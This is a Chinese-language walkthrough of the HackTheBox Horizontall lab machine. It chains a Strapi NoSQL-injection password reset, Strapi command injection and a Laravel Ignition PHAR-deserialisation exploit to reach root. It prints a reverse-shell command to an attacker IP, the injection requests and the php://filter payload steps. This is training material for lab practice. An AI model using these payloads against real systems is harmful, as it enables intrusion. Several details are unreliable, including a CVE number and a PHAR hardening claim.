HackTheBox Horizontall 靶机渗透实战教学文档
靶机概述
Horizontall 是 HackTheBox 平台上一个难度为简单的 Linux 靶机,目标是通过渗透测试获取 user 和 root 权限。整个渗透路径涉及从外部侦察到最终提权的完整过程,核心技术点包括 Strapi CMS 的 NoSQL 注入漏洞利用、Laravel 框架的远程代码执行漏洞利用,以及横向移动和权限提升。
一、信息搜集
1. 端口扫描
目标IP:10.129.33.4(初始IP,后续变更为 10.129.33.165)
TCP全端口扫描结果:
- 22/tcp - OpenSSH 7.6p1 Ubuntu
- 80/tcp - nginx/1.14.0 (Ubuntu)
服务指纹识别:
- 操作系统:Ubuntu 18.04(基于 OpenSSH 7.6p1 和 nginx 1.14.0 版本推断)
- Web服务器:nginx/1.14.0
- SSH服务:OpenSSH 7.6p1 Ubuntu 4ubuntu0.5
关键发现:
- 访问 80 端口时,HTTP响应头显示重定向到
http://horizontall.htb - 将域名添加到本地 hosts 文件:
echo '10.129.33.4 horizontall.htb' | sudo tee -a /etc/hosts
2. TCP 80 端口分析
(1)horizontall.htb 主站
- 页面源码显示前端基于 Vue.js 构建(favicon 暴露 Vue.js 图标)
- 页面包含
<noscript>标签提示需要启用 JavaScript - 加载的 JavaScript 文件:
/js/app.c68eb462.js/js/chunk-vendors.0e02b89e.js
(2)api-prod.horizontall.htb 子域名
发现过程:通过检查 JavaScript 文件内容发现新的子域名,并添加到 hosts 文件
关键信息:
- HTTP响应头暴露 CMS 信息:
strapi(一个开源的 Headless CMS) - 安全头部信息:
Strict-Transport-Security:强制 HTTPSX-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockContent-Security-Policy: img-src 'self' data:
目录枚举发现:
/admin/目录存在,但需要认证- 访问
/admin重定向到/admin/auth/login - 在
/admin/init端点获取到 Strapi 版本:3.0.0-beta.17.4
用户信息收集:
在 /reviews 端点发现三个用户名(可能为系统用户):
- 具体用户名在文档中未明确列出
二、Strapi Shell 获取
1. CVE-2019-18818 漏洞利用
漏洞类型:NoSQL 注入
影响版本:Strapi 3.0.0-beta.17.4
权限要求:无(PR:N - 无需任何权限)
漏洞原理:
- 密码重置功能中的
code参数未正确验证 - 利用 MongoDB 的 NoSQL 注入特性,通过
{"$gt": 0}等操作符绕过验证 - 漏洞位于
admin/controllers/Auth.js的changePassword函数
利用步骤:
# 构造密码重置请求
POST /admin/auth/reset-password HTTP/1.1
Content-Type: application/json
{
"code": {"$gt": 0},
"password": "newpassword",
"passwordConfirmation": "newpassword"
}
结果:
- 成功重置管理员密码
- 获取 JWT 令牌用于后续认证
2. CVE-2019-19606 漏洞利用
漏洞类型:远程代码执行
影响版本:Strapi 3.0.0-beta.17.4
权限要求:管理员权限
漏洞原理:
- 插件安装功能中的
plugin参数未正确过滤 - 通过命令注入实现 RCE
- 漏洞位于
admin/services/plugin.js的install函数
关键代码:
// 漏洞代码
const { plugin } = ctx.request.body;
execa('npm', ['run', 'setup', '--', plugin]);
修复方式:
- 添加输入验证,过滤特殊字符
3. 获得 Shell
步骤:
- 获取本地 IP:
ip addr show tun0 | grep inet
- 生成反弹 Shell 命令:
使用 Reverse Shell Generator 生成,注意使用 sh 兼容语法:
sh -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'
- 本地监听:
nc -lvnp 4444
- 执行 RCE:
# 构造 JSON 请求
{
"plugin": "$(sh -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1')"
}
# 发送请求(包含管理员 JWT)
curl -X POST http://api-prod.horizontall.htb/admin/plugins/install \
-H "Authorization: Bearer <jwt_token>" \
-H "Content-Type: application/json" \
-d '{"plugin":"$(sh -c '\''bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'\'')"}'
- Shell 稳定化:
# 确认 Python 存在
which python3
# 升级到 TTY shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 后台挂起并设置终端
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
4. User Flag
位置:/home/developer/user.txt
三、Root Shell 提权
1. 内网信息搜集
端口扫描(内部视角):
# 查看本地监听端口
ss -tlnp
发现服务:
- 22/tcp: SSH
- 80/tcp: nginx
- 1337/tcp: strapi (CMS后端)
- 3306/tcp: MySQL数据库
- 8000/tcp: 未知服务(本地访问)
8000 端口服务识别:
curl http://localhost:8000
- 服务:PHP 7.4.22
- 框架:Laravel V8
- 重要发现:调试模式开启,暴露
/vendor/ignition/health-check路由
建立持久访问:
# 本地生成 SSH 密钥
ssh-keygen -t rsa
# 靶机上配置 SSH 公钥
mkdir -p ~/.ssh
echo "ssh-rsa AAAA..." > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
设置 SOCKS5 代理:
# 靶机开启代理
ssh -D 1080 developer@horizontall.htb
# 本地配置 proxychains
vim /etc/proxychains.conf
# 添加:socks5 127.0.0.1 1080
2. CVE-2021-3129 漏洞利用
漏洞影响:
- Laravel < 8.4.2
- Ignition < 2.5.2
- 需要开启调试模式
漏洞原理:
MakeViewVariableOptionalSolution类中的viewFile参数未过滤- 支持
php://filter包装器 - 通过日志文件写入 PHAR 数据并反序列化
利用步骤:
(1)验证调试模式
访问 /vendor/ignition/health-check 返回健康检查信息,确认调试模式开启。
(2)漏洞利用过程
① 清空日志文件:
# 日志文件路径
/var/www/html/storage/logs/laravel.log
# 构造清空请求
POST /_ignition/execute-solution HTTP/1.1
Content-Type: application/json
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"viewFile": "php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"
}
}
原理:三层 base64 解码,清空日志文件内容。
② 写入 Padding(AA):
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"viewFile": "AA"
}
}
作用:对齐 base64 解码起始位置。
③ 生成 PHAR Payload:
# 使用 phpggc 生成
git clone https://github.com/ambionics/phpggc.git
cd phpggc
./phpggc Laravel/RCE1 "id" -b > payload.txt
# 处理 payload
cat payload.txt | base64 -w0 | sed 's/./&=/g' | sed 's/=$//' > payload_encoded.txt
④ 注入 PHAR 数据:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"viewFile": "=<encoded_phar_data>"
}
}
⑤ 解码还原 PHAR:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"
}
}
⑥ 触发反序列化:
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"viewFile": "phar:///var/www/html/storage/logs/laravel.log"
}
}
对齐问题处理:
如果签名校验失败,需要在 payload 末尾添加 padding:
# 在编码后的 payload 末尾添加 =00
<encoded_payload>=00
重复执行直到成功。
(3)自动化利用脚本
使用现有 Exp 脚本:
import requests
import sys
proxies = {
'http': 'socks5h://127.0.0.1:1080',
'https': 'socks5h://127.0.0.1:1080'
}
# 或者设置环境变量
# export HTTP_PROXY="socks5h://127.0.0.1:1080"
# export HTTPS_PROXY="socks5h://127.0.0.1:1080"
成功迹象:
- 命令执行成功输出
- Laravel 服务以 root 权限运行
- 可直接读取
/root/root.txt
四、其他提权方法
文档中提到的替代方案:PwnKit 漏洞(CVE-2021-4034)
漏洞信息:
- 影响版本:pkexec(polkit)在 2009 年 5 月首次引入的所有版本
- 本地权限提升漏洞
- 在靶机环境中可能存在但未在本次渗透中直接使用
关键技术总结
1. 信息搜集要点
- 全面的端口和服务识别
- 子域名发现和虚拟主机识别
- 版本信息精确获取
- 框架和组件识别
2. 漏洞链构建
- 外部突破:Strapi NoSQL 注入(CVE-2019-18818)
- 权限提升:Strapi RCE(CVE-2019-19606)
- 横向移动:内网服务发现
- 权限提升:Laravel RCE(CVE-2021-3129)
3. 高级技术点
- NoSQL 注入利用:MongoDB 查询操作符绕过
- PHP Stream Wrappers 利用:php://filter 协议处理
- PHAR 反序列化攻击:通过日志文件注入
- 编码绕过技术:UTF-16LE 和 Quoted-Printable 编码组合
- 调试模式利用:Ignition 组件漏洞利用
4. 防御建议
- 及时更新框架和组件版本
- 生产环境禁用调试模式
- 实施严格的输入验证
- 使用最小权限原则运行服务
- 定期进行安全审计和漏洞扫描
文档未详述但基于知识补充:
- Strapi 密码重置漏洞的详细修复方案是将
code参数强制转换为字符串 - PHAR 反序列化攻击的防御需要禁用
phar://包装器或在 php.ini 中设置phar.readonly = On - Laravel 调试模式应在生产环境中通过设置
APP_DEBUG=false来禁用